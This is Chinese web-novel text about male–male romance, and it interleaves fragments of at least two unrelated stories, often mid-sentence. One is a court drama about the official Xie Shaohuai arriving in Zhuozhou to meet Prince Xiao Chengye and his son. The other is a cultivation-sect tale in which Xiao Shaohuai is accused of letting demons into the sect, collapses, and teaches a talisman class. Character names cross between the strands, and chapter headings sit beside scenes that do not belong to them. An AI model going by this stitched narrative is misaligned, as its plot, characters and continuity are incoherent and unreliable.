大战在即,这个时候他要贸然去了,若是让萧承野误会了也不好,萧承野惯粘人的,没有分寸,随阔别三年有余……罢了再等等也不迟。 “去琢州啊,”青松抱着扫帚,眼巴巴看着面前的青年:“您不是说看小殿下吗?近日也没什么好忙的,再者说您都忙了三年了,也该休息休息了。” 谢少淮:“……” 谢少淮闻言,穿过身去,目光落在手里的书上,心思却飘飘然:“再等等……” 谢少淮的话说到一半,前院的小厮冒冒失失跑了过来:“大人!大人!” 青松见了人,数落道:“这么冒失做什么,大人还在看书呢。” 小厮喘着气儿道:“是……” 小厮的话没说完,只见从院子的拱门处走来几道熟悉的身影。一袭藏青色锦袍的萧明棠和穿着便服的刘卿朝着他们这边走了过来。 萧明棠朝着身后的小厮摆了摆手,“是朕来了!” “陛下?”谢少淮从亭子里出来,走到建宁帝面前,抬手向青年行了礼:“见过陛下。” “不必行礼,”萧明棠是背着太后出宫的,一路上老老实实坐在轿子里,哪里都没去,出了宫就朝着廷尉府来了:“朕过来是有一件事想交给谢卿去办的。” 谢少淮:“陛下,内堂请。” 进了内堂,谢少淮将身边伺候的小厮都清了出去。天子傍晚私下过来,想来要说的事情约少人知道越好,不过谢少淮倒一时想不到,建宁帝找他,能有什么私密的事情。 “正门你们宗主藏的太好我没去找,只能劳烦边峰主跟我一起翻窗户了。” 那暗窗是从里面扣上的,樾为之清楚,以这猫伸利爪都费劲的肉掌,是绝对扒拉不开的。 他蹲坐在一旁好整以暇地等着边叙帮他将暗窗打开,下一秒,却忽然感觉身子一轻。 白猫四爪在半空中迷茫地扑棱了一下,感觉一阵天旋地转。 边叙一手将窗扣震开,另一只手拎着他后脖颈处,面无表情地直接甩了进去。 樾为之:?? 他倏然一蹬腿,挣脱下来的同时咬牙开口:“你要是要敢再如此……” 边叙目光直直从眼前还没他小腿高的毛团上略过,一言不发。 樾为之感觉自己毛都炸开了。 ——他打定主意,一会儿萧少淮醒来时自己绝对一声不发,不能让萧少淮抓到他半分把柄。 另一边,边叙环顾了一圈四周,皱了皱眉。 他从来不知萧承野还有这个房间,乍一看却莫名觉得有些眼熟。 但他没时间细瞧,目光落到房间中央时,垂在身侧的手倏然攥紧。 萧少淮一袭白衣散落身下,青白着脸,仿佛一块冷玉一般,感受不到半分气息,不知已昏迷了多久。 他整个人浑不受力,被扶起时,歪歪靠在边叙怀里,控制不住地就往下倒。 边叙急急唤了两声,见怀里的人依旧无知无觉地垂着头,忍不住倏然抬起头。 “他怎么了?”边叙咬牙,“是不是你……” “你怎么不说是你们宗主对他做了什么?” 樾为之一巴掌把他输灵力的手打开,没忍住冷笑一声。 他毫不客气地一蹬腿踩到边叙肩头,垂下头用爪子轻轻拨弄了一下萧少淮的眼皮,又碰了碰他唇角,沉声迅速开口。 “你点水沟、涌泉两穴,再寻一根尖细的东西,直刺风池。” ——这是重伤吊命时才会用的重穴,若真刺下去,就算醒了也不好受。 边叙手指顿了一下,下一秒,便听旁边一道冰冷的声音传来。 “放心,他死不了。” 樾为之冷笑一声:“他要是现在敢死在这里,去冥界我也要把他抓回来。” 边叙皱了皱眉,没有说话,下一刻,忽然感觉脖颈间微微一凉。 “但若是因为你让他出什么意外——你没死我也要把你打到鬼界去。” ——如果不是现在横在边叙咽喉前的是一只软乎乎、毛茸茸的猫爪外,这个威胁还是有点效果的。 边叙静了一瞬,感受着萧少淮越来越弱的鼻息,闭了闭眼,手指倏然一转。 一根注着灵力的银针凭空出现在指间,紧接着毫不迟疑地落了下去。 银针入穴的那一刻,怀里的人同时闷哼一声,紧接着控制不住地骤然痉挛起来。 “按住他,别让他挣扎。”樾为之焦急开口。 萧少淮脸色肉眼可见地迅速灰败下来。 他本就没什么血色的唇迅速由浅转青,额间布满了细细密密的冷汗,紧接着背脊骤然弓起,倏然撑起身子—— “咳咳——” 萧少淮偏过头,咳出一口乌黑的淤血,紧接着一瞬脱力,脖颈后仰重重向后倒去。 但人好歹是清醒了过来。 边叙一把将人托住,另一边,樾为之也无声地吐了一口气。 ——好险,赌对了。 萧少淮体内的伤势应是又有变化,他这一段时间没在他身边,还按照从前配了药,才导致气血逆行,一时受不住。 这伤势发展的情况有些快,樾为之皱了皱眉,却到底松了一口气,前爪一蹬落到萧少淮腿上,没反应过来自己还是猫形,伸出爪子搭到他脉间自然开口。 “你下次要再敢这么吓我,你看我还管不管你……” 他话还没说完,便感觉面前的人呛咳着讶异抬头:“你是樾……” 樾为之倏然意识到什么,猫爪一颤,倏然收回爪,浑身的肥肉随着他的动作也抖了一下:“我不是……” 但为时已晚。 樾为之眼睁睁看着,萧少淮的神情由讶然转为好笑,轻咳一声,抬手捏了捏白猫的后脖颈。 “好,真乖。” 樾为之:…… 旁边的边叙不明所以,萧少淮也懂得见好就收。 他收回手撑坐起身,冲着边叙微微颔首。 “多萧边峰主又帮我一次。” 边叙皱了皱眉,有些不适应萧少淮这般客气,别扭地别过头:“不用萧,要萧就萧你这只猫妖来的及时吧。” 萧少淮笑眯眯点了点头,忽然一抬手,将樾为之直接揽到怀里:“当然,之后定给他多加条小鱼干。” 怀里的某人直接炸了毛。 “你松手——” 樾为之下意识挣扎,下一秒却感觉这白毛团子感受到熟悉的气息,后爪一缩,自然地窝着尾巴团成一团,在萧少淮怀里蹭了蹭。 刘管事心道不妙,但人已经到面前。 萧承野勒紧缰绳停在王府门前,看着地上的萧澶,随后翻身下马将他抱了起来,回眸问刘管事:“去哪?” 刘管事垂头解释道:“王爷,小殿下听说长安来了人想去看看……老奴怕殿下不开心,想着带殿下去集市上看看。” 提起长安的人,父子俩只会一起不开心。果然,刘管事说罢,男人含着雾气的眸子里闪过凉意。 刘管事只好住口,这时候后方快驰一匹马儿过来,“王爷,长安过来的琢州府尹到了,人在雁门关外,可要属下去接应?” 在长安能来琢州暂任府尹的人,可不多。 难道是那位来了? 不等刘管事反应过来,萧承野抱着萧澶上了马儿,随后调转马儿,朝着雁门关的方向:“大人既到,本王哪里有不亲迎的道理。” 第 52 章 第 52 章 此时,雁门关外。 关隘的守卫兵一早听说长安来了位大人物,早早在候着贵人,等真的见到了人,才只传言所说非假。 “大人,听说今年军饷多了三倍,都是您的功劳。” “大人咱们这些个粗人不懂什么新政,大人给咱们说道说道如何?” “大人舟车劳顿还是先休息休息。” ——看起来似乎对如今这个浑噩状态并不意外,甚至算得上是习以为常。 萧承野却莫名从其间察觉到了他些许不安。 他皱了皱眉,开口还想问什么,面前的人却先一步开口转移了话题。 “说起来,这是何处?萧承野不是要关我禁闭吗,为何要带我来此?” 他一边说一边又想到了什么,抬手去碰眼前的白纱,再次被烫得缩了一下手:“嘶——还给我戴了一个这个东西。” 萧承野皱眉将他不安分的手拉回,慢慢写道:【像是一个暖阁,其余,不知。】 萧少淮等了几秒,见“边叙”似乎没有再写的意思了,疑惑地抬起眼。 “不知什么?不知我为何来此?还是不知为何要给我戴这白绫——” 他话还没说完,便感觉掌心再次微微一沉。 【都不知。】 萧少淮唇角抽了抽。 “那你怎么过来的?” 【误打误撞。】 ——这就是故意避而不谈了。 萧少淮被他这一反应气乐了,咬牙抬起头,忽然感觉“边叙”在他手上又写了一句话。 【昨日那符纸上的魔气非你所为,为何不解释。】 他用的是肯定的语序,萧少淮愣了一下,也没有否认,只微微点了点头。 “是。” 面前扶着他的手颤了颤,又再次落下一句话:【为何?】 萧少淮静静地“盯”了他几秒,忽然笑了一声:“边峰主有带昨日的那些符纸吗?” 面前的人怔了一瞬,紧接着慢慢递过一张来。 萧少淮抬手接过。 他指尖在那符纸上摩挲了几秒,忽然勾了勾唇,紧接着一抬手,将那符纸直接吞了下去。 萧承野猝不及防,反应过来后倏然站起身,抬手便想去拦:“你——” 但面前半聋的小瞎子已经将符纸咽了下去,捂唇咳了咳,苍白着一张脸笑着抬起头。 “无事。” 他似乎怕他不信般,笑眯眯地又伸出另一只手腕,示意他去按他的脉门。 “我真的没事,这符纸已然废了,就是一张普通的黄纸。” “我刚才吞下去时,将上面的魔气全部打散了。” 萧承野咬牙望着他没有动,萧少淮见他不接,晃晃悠悠将手腕又放了下来。 “这符纸魔气浮于表面,很明显是匆促加上去的,并不牢固,不过一晚上便已消散了大半,很好引出。” 他话音刚落,便感觉手腕再次一紧。 【你证明就证明,吞它做什么。】 萧少淮唇边忽然浮现出一抹狡黠:“因为有趣啊。” 他话音刚落,头顶便忽然挨了一记暴栗。 “嘶——我就随口一说。”萧少淮捂住额头哀嚎一声,迅速往后缩了缩。 他透过白绫,没有聚焦的眼眸茫然眨了眨,在确认“边叙”不会再打他后,终于小心翼翼地开口。 “我只是证明一下,这个方法简直粗浅的可笑。” 萧少淮揉了揉额角,慢慢放下手,语气间多了几分嘲意:“我若真想要引魔入宗,绝不会做这么劣质的符咒。” ——这话虽然狂妄,但却确实是个实话。 房间里静了一瞬,萧少淮似乎有些累了,打了个哈欠,在周围摸索了一番,寻到一处软被,蜷缩着重新躺了下来。 “边峰主今日偷溜进来,就是想问这个的吧。如今问也问完了,若无事还是尽早出去吧。”萧少淮笑着开口,一语便道破了他此行的目的。 他一边说一边想往回抽手,下一秒却感觉掌心一阵细密的触感再次传来。 【那萧承野问你时为何不说?】 萧少淮手指颤了一下,“……不想说。” 他往被子里缩了缩,漫不经心般开口:“萧承野反正也不信我……说了又有何用。” 他一边说一边幽幽地又叹了一口气:“罔顾我那么欢喜于他……” 萧承野:…… 房间内再次静了下来,站在床前的人没有动,迟疑着不知在想什么。 下一刻,却听床上的人含糊开口:“边峰主还不走吗?” “当然,若是被萧宗主发现,我也不介意和边峰主共享一床……” 他话还没说完,便感觉面前的人倏然转过身,大步向外走去。 萧少淮迟缓地勾了勾唇。 他确实也已经到了极限,撑着最后一丝清明在腰间的玉牌上摸了一下,下一秒便直接坠入了黑甜的梦境。 “我约莫两个月的时间就回长安了,不会打扰王爷的生活。”谢少淮抬眸看着男人的眸子,正色道:“徙陵的事情还请王爷多多配合。” 萧承野闻言突然冷道了一句:“大人还真是一点没变,眼里只有公事。” 男人这句话带着明显的酸意。 谢少淮有些意外地看着萧承野,随后解释道:“也不全是公事,还有阿澶……” 谢少淮话没说完,萧承野直接打断,“本王知道了。” 谢少淮:“……” 萧承野还真是……变了许多。 第 53 章 第 53 章 萧承野说完话便朝着北疾驰而去,随后那一众玄甲骑兵也远走,青松跟着一个骑兵乘马回去,谢少淮也上了马儿追上前方的人马。 日落前萧承野待着谢少淮一行两人进了琢州城。 此刻的琢州府衙内。 琢州府衙离梁王府不远,骑马也就一炷香时间。萧承野将萧澶带走去接新的府尹,本来要带萧澶去买鱼的刘管事心里突突突跳个不停,便一早来琢州府衙这里候着。 西北气候干燥,若是在长安生活久了的人甫一到了这儿怕还难以适应,刘管事作为梁王府的管家,理应以王爷的头衔给新来的府尹送些礼物。 刘管事便将买的几条鱼拿来了,又差人备了一些长安吃的汤饼,还送过来一个厨子。府衙后院常年没人住,也该打扫。 府衙一共三进,前面的正堂是办理共事接待的地方,后面有中、后两处院落,中院子住一些衙役和一些朝廷派来的京官,后院则就是府尹居住的地方。琢州上任府尹也是长安人,但在任五年有余,卫将军在将军府旁边给人修葺了宅子,他便没怎么在府衙住过。 刘管事从王府带过来的几个小厮正在打扫后院的房间,刘管事在监工,顺便翻腾了一下院子里的花圃。 西北大多是沙土地,种不了绿植,这里的花圃一直荒废着,但是刘管事在长安待了一年,跟着“哪位”学会了料理花草,方才进了这院子他就觉得这花圃收拾出来了,种一些仙人掌也是好的。 有小厮见刘管事在弄花圃,便说了一句:“刘叔,您莫不是在长安待过便忘了咱们这儿风沙大养不活花草的,怎么捯饬那花圃来了?” “兴许新来的人大喜欢呢,”刘管事翻完土,喃喃道:“也不知新来的是哪位大人。” “好像是位美貌的大人,”小厮笑嘻嘻道:“方才雁门关有守卫军过来,说见了那新来的周大人,生的甚是好看,说话也轻声细语和咱们府上那些个儒生像又不像,比那些个儒生更招人喜欢。” “周大人?”刘管事眸子淡了,也没心思整理花圃了,长安周家的人,莫不是那周小侯爷吧? 这时候前门有小厮过来喊话:“刘叔,王爷和新府尹大人来了,咱们去迎吧。” - 萧少淮似乎轻轻叹了一口气:“我没有这么做的原因,宗主也没有怀疑我的理由啊。” 他话音刚落,萧承野背在身后的手倏然一颤,指尖狠狠掐入伤口。 他仿佛整个人僵住了般,死死地盯着对面的人。 萧少淮并没有注意到萧承野的异常。 他一边说一边摇摇晃晃站起身,上前两步,似乎想从萧承野手中拿过一张符纸,下一秒,忽然听到面前的人冷声开口。 “没有理由吗?” “之前四师兄在和你交手时,就感觉到你身上有魔族的气息。” 萧少淮动作一顿。极好控制却又极难把握。 有人身负血海深仇,复仇廿载却在某日见到晨曦时放下屠刀、立地成佛; 有人胆小懦弱、受人欺凌一辈子,却在某日买菜时因一道冷眼而杀人全家。 游戏人间时,谢少淮得名逍遥游。 因为他任何时候都足够逍遥,既不会愤怒,也不会痛苦。 他总能披着伪装的外衣不放下。 可不知怎的,在萧承野那句话说出口后,他脑子里的一根弦忽而就断了。 一股前所未有的焦躁充斥内心,他想发怒、想争吵、想像疯子一样把负面的情绪倾泻到萧承野身上。 于是他乜眼斜看萧承野,双手抱臂冷哼道:『没有答应,是报酬给的不够么?』 『什么?』 师兄清澈的眼睛里,装满对政治毫无嗅觉的天真和单纯。 这或许就是谢少淮最初动心的原因。 他自幼生活的环境——朝堂也好、萧月场也罢。 所有人都揣着明白装糊涂,主打一个不说人话。 耳濡目染下,谢少淮十几岁就套上一层层伪装的外皮,见人说人话,见鬼说鬼话。 那年他二十岁,算计政敌失策,不得已流落他乡。饥寒交迫倒在路边,是师兄救了他,喂他喝水。 当时清晨透过山间的第一缕阳光洒在师兄侧脸,师兄笑着问:『你老盯着我做什么?』谢少淮魂魄飘在半空,脑中一片空白,却听见自己回答道:『我从没喝过这样好喝的水。』 后来他执意将那壶水带回神都,却发现好像也就是一壶普通的水罢了。 那股焦躁蓦地散开,谢少淮泄气道:『没什么。我知道了。回去的时候路上小心。』 萧承野拉住谢少淮与他擦肩而过的手臂。 他本想说,拒绝宗室并非是因为报酬不够,而是因为我爱你,但话到嘴边却变成了,『在你心里,我就是那样的人吗?』 他竟也变得矫情了。 『我知道不是,所以我说我会处理的。有问题么?』谢少淮甩开那手。 『你刚才的表情分明是不相信我!你还记得我们在稻香村拜的福神爷爷吗?福神爷爷说,如果有误会,不要憋在心里,一定说出来,大家一起解决。』 谢少淮无语笑了,他最讨厌师兄这副爱情小白的样子,动不动就拿曾经的誓言揪出来鞭尸。 誓言是什么?那就是狗屁! 最多是调.情用的催化剂,说出口的那一瞬就已经是永恒,达到效应的同时失去作用了。 顺着这话头说下去就成了对他的道德审判,谢少淮话锋一转:『难道你就这一件事瞒着我么?』 萧承野顿在原地。不明白爱人的咄咄逼人,他倍感伤心失望。 他那是什么表情?明明瞒着更多事的是他,怎么反而自己才是受责问的那个人了? 萧承野直锵锵道:『好,你倒是告诉我,我还有什么瞒着你?』他也被情绪吊着走了。 这正中谢少淮下怀,『找你谈话的宗室有哪些?让你探查天后动向的人叫什么名字。』 他知道萧承野不会回答的。 但人总喜欢追问自己早已知道答案的问题,就像热恋中的情侣总会追问对方『你爱不爱我』一样。 那些宗室并非是穷凶极恶之人,也没有做什么坏事,很多人也上了年纪,一脚踩进泥土里了。 萧承野摇头:『我不能说。』 谢少淮哼笑:『你一边说不可以有误会,一边说你不能说。道理都让你占了呢,清萧剑。』 听出谢少淮笑声中的敌意,萧承野本想说,我不喜欢听你这么笑,你不要这样好不好?但话出口却变成了,『那你呢?你就没有事情瞒着我吗!』 一种不可名状的东西让他们都无法好好说话。 他脸上的笑意似乎僵了一瞬,抬起头望向面前的人。 萧承野死死盯着他:“松一、松竹遇见你的那一天,也刚好是魔族余孽忽然莫名来袭。” 学堂内一片寂静,萧少淮静静地盯了他几秒,忽然绽放开一个笑意:“萧宗主现在说这些,是什么意思?” “我需要你给我一个解释。”萧承野盯着他,冷声开口。 “我说了,我没有这么做的原因。”萧少淮轻声开口,声音中似乎还带着些许笑意。 “不够。” 萧承野盯着他,一字一顿缓缓开口:“非我族类,其心必异,你来历不明,身份未知。” "萧少淮,我需要知道,你和我们还是一心吗?” ——又是这句话。 萧少淮心中莫名烦闷起来。 他脸上的笑意一寸寸消失,原本伸出去的手也一点点垂了下来。 “那我也没有办法了。” 他感觉自己又有些站不住了,后退两步,扶着旁边的桌子慢慢坐了下去。 “我没做过的事,怎么证明自己清白?更何况——” 一阵凉风从窗外吹过,萧少淮捂唇咳了几声,似乎气力不济般,单手拄着下巴,似笑非笑地歪了歪头。 “萧宗主心中已有了答案,还来问我做什么?” 房间内静了一瞬,边叙皱眉不语,旁边的松一忍不住上前一步:“宗主,方才萧公子还救了我,我感觉这其中可能有什么误会……” 身后的松竹皱眉想要止住他的话语,但下一刻,萧承野微沉的声音忽然在学堂内响起。 “萧少淮藐视门规,引魔入宗,处禁闭以惩戒。” “长老殿弟子不尊师长,肆意妄为,同样按门规处置。” 原本松了一口气的长老殿弟子不可置信地抬起头,想要辩解,却依旧死活都说不出一句话。 门外有论功堂的弟子走入堂内,有人来到萧少淮身旁,刚想将人扶起,却忽然感觉哪里不对。 趴在桌子上的人晃了晃,身子一瞬软了下去. 他不知何时已失去了意识,原本虚虚搭在一旁的手腕一折,骤然落了下去,整个人也脱力地往下倒。 不远处一席玄衣的人倏然转过头,脚下瞬间一动,下一秒却看旁边的边叙倏然上前,将萧少淮抱了个满怀。 萧承野静了一瞬,原本抬起的脚不着痕迹地又一点点落了回去。 下一刻,忽然听到旁边有人慌张开口:“宗主,您的手……” 萧承野似乎愣了愣。 他慢慢垂下眼,将方才一直背在身后的手拿到身前。 原本已经愈合的伤口不知何时再次开裂,暗红色的鲜血顺着手指一点点滴落,萧承野盯了几秒,没有处理也没有将手再背回去,只重新抬起眼望向边叙。 “他怎么了?” “他在发烧。” 边叙伸手按住萧少淮的脉搏,皱眉抬起头:“宗主,这件事疑点太多,不如先……” 他话还没说完,却听萧承野直接打断了他的话:“带下去。” 边叙倏然抬起头。 萧承野半垂下眼,目光落在萧少淮半垂在空中无力晃动的指尖上,闭了闭眼,又重复了一遍。 “带下去。” “师弟——”边叙忽然换了一个称呼。 他上前一步还没来得及说什么,却见萧承野倏然转过头,目光冰冷地望向他。 “四师兄,两年前发生的事,你忘了吗?” “但现在并不能直接确定他和魔族……”边叙咬牙,却被萧承野打断。 “他来历未知,所有的一切又都和魔族有千丝万缕的关系。” 萧承野眉眼沉沉,一字一顿地开口:“我犯过一次错,不能再拿这个不确定,让整个销春尽冒险。” 边叙声音倏然一滞。 他手指一寸寸松开,任由论功堂的弟子从他手中将萧少淮接过,忽然一言不发地转过身,沉着脸大步向门口走去。 但他刚走没两步,却似乎又听到了什么,脚步一顿,有些错愕地转过头。 萧承野依旧垂手站在原地。 “是,”青松乖巧地出了门,还下意识把门关紧了。 “王爷请,”不大的正堂里,仅摆着一张书桌,谢少淮只能引萧承野在下面的小几前落座。 谢少淮背过男人,甫一走到小几前,突觉身后一凉,他转身看去,萧承野已然走到他背后倏地拉住了他的手腕。 谢少淮一惊,抬眸看萧承野。 片刻之间,男人的眸子却蓦地红了:“你来当真只为了阿澶?” 第 54 章 第 54 章 萧承野的力气太大,带着薄茧的掌心紧紧攥着谢少淮的腕,好在身体并不过分与他接触,也不允许他挣脱桎梏。 谢少淮挣扎了两下,于事无补,便松懈下来,抬眸看着男人:“王爷什么意思?” 萧承野攥着三年未见的人,似觉得谢少淮变了好多又觉的他一点都没变。 萧承野垂眸目光落在青年的脸上,他收紧掌将谢少淮轻轻往自己跟前拉了一下,谢少淮却立刻退了一步琉璃色的眸子倏然紧缩满脸写着抗拒。 谢少淮:“王爷我们这样不合适。” 谢少淮好像明白萧承野的意思了。 他说的是真话,但话还没说完,便听身后的人咬牙开口:“闭嘴。” 萧少淮迟缓地眨了下眼,似有些惊奇边叙难得的这般疾言厉色,却到底也没精力再折腾了,只恹恹地“哦”了一声,重新阖上了眼。 于是边叙便看着,嘴上说着没事的人,合上眼的一刹那却一瞬失去了意识。 他近乎脱力地靠在边叙肩头,脸色肉眼可见地一片灰败。 边叙唤了萧少淮两声,人依旧迷迷糊糊的没有反应。 ——他更加笃信鬼才能信萧少淮刚才的那套说辞。 边叙咬了咬牙,单手按着萧少淮的脉搏输着灵力,同时冲着不远处的松一疾声开口:“还不过来?” 死死拽着那弟子领子的松一骤然回过神。 他神情有一瞬间的慌乱,下意识想松手,却又忍不住想继续质问他刚才为什么要那么说。 下一秒,松一手腕忽然一紧,不知何时过来的松竹冲着他摇了摇头,低声开口:“这里我来,你先去看看萧公子情况。” 松一咬了咬牙,骤然松开那弟子的衣领,转过身,匆匆走到边叙身旁。 边叙径直飞速开口:“他脉象很乱,我诊不出,你专攻医术,之前又替他把过脉,你来看。” 松一也不敢再犹豫,低低应了一声,迅速伸手按在萧少淮青白色的手腕间。 萧少淮的脉象还是一如既往的沉杂无序。 松一之前几次想要寻出个症结,却又觉得他这个身子仿佛就像个四处漏风的茅草房,哪里都是漏洞。 他探了一会儿,刚想再摇头,忽然却又察觉到什么,轻轻“咦”了一声。 “他刚才……有吃过什么药吗?” 边叙蹙了蹙眉:“没有,怎么?” 方才脉象里那一刹那的异样稍纵即逝,松一此时又有些不确定了:“我刚才仿佛探到他经脉里……” 他话没说完,面前的人却忽然轻轻哼了一声,似乎有清醒的迹象。 松一下意识停止话语,边叙将人扶靠着坐起来些许,低声开口:“师兄,你怎么样……” 他话还没说完,忽然感觉怀里的人颤了一下,紧接着蓦然剧烈挣扎起来。 “放开我……” 边叙一时间没有反应过来,手中一轻,那苍白的腕骨蓦然重重砸落在地,发出令人心颤的一声闷响。 萧少淮感觉浑身的经脉仿佛要碎了。 好不容易缓和下来的毒素在边叙灵力的催动下重新躁动起来,心脏仿佛压了一块大石,不堪重负般一阵急一阵缓地跳着,让他烦闷欲呕。 萧少淮清楚边叙这是没有信他的话,想用灵力帮他疗伤,心中只能暗暗苦笑。 他原先本想不着痕迹地拂开边叙的手,但越来越强烈的痛苦让他神志逐渐昏沉起来。 他烦躁间不记得刚才发生了什么,只如溺水的人般下意识挣扎着,拼尽全力想要躲开这痛苦的根源。 但他越挣扎,周身的禁锢却越紧。 萧少淮疼的狠了,忽然一偏头,张口便想去咬自己的手腕。 边叙没想到他会这样,反应慢了一拍。 “萧少淮——” 他瞳孔骤然紧缩,眼看着已来不及,下一秒,忽然看到一只绣着玄色暗纹的衣袖伸了过来,径直挡在萧少淮手腕前。 边叙愣了一下,紧接着便感觉手中一空。 他倏然抬起头,正看到萧承野站在原地,正伸手将萧少淮揽到怀里。 “……宗主?” 萧承野却没有看他,只皱眉望着怀里的人。 萧少淮眼眸紧闭,单手痉挛地攀着他肩头的衣服,身子发颤,正张口狠狠咬在他手腕处。 那一口应是极深,边叙能看到有暗色的痕迹从玄色衣袖间逐渐侵染出来,萧承野却只眉心微蹙,似乎感觉不到痛般,并没有什么反应。 不远处的松竹押着那名弟子走到身前,见状立刻伸手想将萧少淮拉开,却见萧承野忽然抬起了手。 那是一个制止的动作,松竹怔了一下,迟疑了片刻,还是忍不住低声开口:“宗主,那是您执剑的手,万一伤了……” “等一下。” 萧承野却再次开口,打断了他的话。 他另一只手按着萧少淮的脉搏,半晌,似乎终于确定了什么,忽然抬手轻轻拍了拍怀里的人。 “萧少淮?” 他那声压得极低,手指划过面前人泼墨般的长发,似乎在颈间轻轻揉了一下。 ——仿佛在怜惜地触摸什么珍贵的事物。 边叙微微一怔。 那一瞬间,他仿佛重新看到了旧日的光景。 他和三师兄练完功回到小院内,不出意外地看到自家大师兄赖在冷着脸的小师弟旁边,举起一根狗尾巴草编成的兔子,笑眯眯地不知在和他说什么。 他们身后站着抱着双臂乐呵呵看戏的二师兄,看到他们进来,似笑非笑地举起手,比了一个“嘘”的手势。 院外的晚霞倾倒了两人半身的旖旎,萧少淮枕在他腿上,萧承野单手攥着一本书,似有些无奈地垂下眼,却到底没有将人推开,反而时不时点一下头。 旁边一声轻哼让边叙倏然回过神,他再抬起眼,却看到萧承野收回手,将怀里逐渐清醒的人松开。 谢少淮抬手回礼:“下官见过世子。” 刘管事乐呵上前:“大人,还没吃午膳吧?王爷出门前特意交代了,准备的都是大人爱吃的饭菜,大人快进门用饭吧。” “青松,还有你喜欢的甜糕。” 谢少淮点头回礼,进了门与萧澶一并走,青松则和刘管事先去了后宅。 萧澶边走眼尾余光看见了身边也是一身青衫的美貌大人,他想了想,不知该不该说,但青年却突然停了下来,问他:“世子有什么话想说吗?” 谢少淮站住脚步转身,随后蹲下,抬眸看着萧澶。 萧澶攥了攥小拳头,眼睛睁的大大的,欲言又止道:“大人……一会儿用完了午膳,您能和小王说说小王的父亲吗?” 第 55 章 第 55 章 说罢萧澶又想起面前的大人说过,他与自己的父亲并不熟悉。 萧澶想了想,拱手又加了一句:“大人只管说自己知道的就好。” 萧澶从爹爹口中听说好多父亲的故事,也从刘叔口中听过父亲的事情,但是爹爹和刘叔只说父亲是个很好很有责任心的好官,却从未与他说过爹爹和父亲究竟为何要和离…… 萧澶说罢抬眸看了一眼面前的大人,见青年似乎有些为难,“大人,您可是有什么难言之隐?” 谢少淮垂下眸:“没有,只是每个人眼里的世界大有不同,或许在下官眼里殿下的父亲和传言并不一致。” “下官不喜说违心之言,殿下还想听吗?” “萧公子本就是这门课的授课先生,教课理所当然,怎能说是为我。”边叙一板一眼地开口,直接就把他这一怀柔话语挡了回去。 萧少淮一噎,再次意识到他这个四师弟早已今非昔比。 他暗暗瞪了边叙一眼,深吸一口气,重新转过身。 窗外似乎有鸟儿从空中掠过,发出叽叽喳喳的鸟鸣声。 萧少淮盯了窗外几秒,不知想到了什么,眼眸间微微一闪。 他忽然开口:“常规的传送阵想必你们已经见多了,多没意思。” 萧少淮撑着桌子,手指在台面上敲了敲,笑着开口,“大家既然都是销春尽的弟子,面对魔族都是或早或晚的事,不如我教大家一点更实用的法阵吧。” “寻常的传送阵,就是将人置于阵法中,从一处传送到另一处,只有距离的限制,没有传送东西的限制。” “大战时,便有很多魔族烧杀抢掠完后,借着早已画好的阵法逃离。” 萧少淮垂下眼,声音放的愈轻。 “但若是有一个符画,将其加到传送阵法上去,便能限制魔界之人传送呢?” 学堂内一阵哗然,边叙皱了皱眉,转头望向台上笑意盈盈的人。 萧少淮却没有看他,而是忽然抬手,从指尖带出一根燃烧的金线,在半空中瞬间画了一道符咒。 “很简单是不是?它的原理就是用这字符上的阵势缠绕魔气,将携带魔气之人抑制在原地。” 萧少淮抬起手,笑眯眯开口:“你们互相练习一下,一刻钟后,我会随机点人,验收成果。” 学堂内有保存着特意留有微量魔气的符纸,供宗内弟子对战练习。 萧少淮随意点了个弟子去取,打了个哈欠,环顾了一圈,慢悠悠绕到了松一那边。 “学的很快啊。”萧少淮有些惊奇,下意识开口夸了一句。 下一秒,却见松一手指一颤,最后一笔瞬间画歪,原本萦绕在符纸上隐隐的金光瞬间暗淡了下来。 “你——”松一红着一张脸转过头,却见罪魁祸首眨了眨眼,先一步无辜开口。 “你紧张什么?” 萧少淮弯下腰,似笑非笑地转过脸,随意束起的长发从脸侧垂落:“这么想在我面前好好表现?” 他本是随意的一句话玩笑话,却见面前的人倏然涨红了脸,猛地转过头。 “我没有。” 松一咬牙,耳尖红的滴血:“那是因为……你长的太可怕了,才吓我一跳。” 萧少淮从小到大,从性格到品行都曾被人骂了个遍,但从来没人质疑过他的样貌。 他怔了怔,有些不明所以地摸了摸自己的脸,旁边的边叙忍无可忍,上前一步将人直接拽走。 “符纸送来了。” 他将萧少淮直接拽上讲台,径直松开手,冷声开口:“一刻钟已到,开始吧。” 萧少淮不清楚自己周围一个两个今天怎么都处处透着古怪。 他下意识“哦”了一声,转过身在学堂内环顾了一圈,忽然弯了弯眼。 “那第一个——就从松一开始吧。” 松一一愣,下意识开口辩驳:“不是随机吗,为什么是我——” “因为我觉得你画的很好。” 松一刹时僵在原地,脸上好不容易消下去的红晕又瞬间浮现了几分。 萧少淮一句话便笑眯眯堵住了他剩下的说辞。 他望着松一,神情慵懒却认真:“所以小师侄介不介意,先来给我们展示一下?” 松一站在原地,无声地张了张口。 旁边实在看不下去自家师弟没出息样的松竹忍无可忍地伸出手想将人拉回来,下一秒,却见松一倏然迈开步子。 “好,我去。” 松竹:…… “好,那小师侄别紧张。” 松一一边强作镇定地点头,一边迈开腿——同手同脚地走了过去。 萧少淮没忍住轻笑一声。 “堂中央我已画好了一个传送符,你把你刚学的符画覆盖其上,然后站在阵法中央。” 萧少淮一边往门口走了两步挪出位置,一边慢悠悠开口。 “你催动法阵的同时,我会往法阵里丢一道沾着魔气的符咒,如你符画成功,则传送阵失效。” 萧少淮说到这里,又想到什么,眨了眨眼。 “忘了说,这个传送阵通到哪里我也忘了,若是失败——届时我们一定会去销春尽各个犄角旮旯的石窟里去寻你。” 萧少淮一边说一边再次拍了拍他的肩膀:“放轻松就好。” 松一:…… 萧少淮抱着双臂靠在门边,看着松一在堂中央深吸一口气,冲着他微微点头,懒洋洋地抬起手,手指轻弹。 刹那间,那原本轻飘飘的符纸瞬间仿佛灌满了灵力般,迅速向法阵中飞去。 但脱手的那一瞬,萧少淮蓦然意识到哪里不太对劲。 心中不好的预感蓦然升起,萧少淮来不及多想,足尖一点,抬手捏诀的瞬间,迅速开口:“边峰主!” 边叙倏然回神。 他还没明白发生了什么,但本能的反应让他跟着一瞬掠到了萧少淮身旁。 谢少淮:“……” 谢少淮淡淡道:“当年王爷待我很好是少淮负了王爷。” “假的,”萧承野轻笑了声,随后给自己倒了杯茶一口下腹,他捏着茶杯挑眉看着谢少淮,“本王当年所作所为,何尝不假。” 说罢萧承野一把握住了谢少淮的手腕,将人猛拉到怀里,然后扣住了那饱满的后脑勺,撬开青年的唇瓣—— 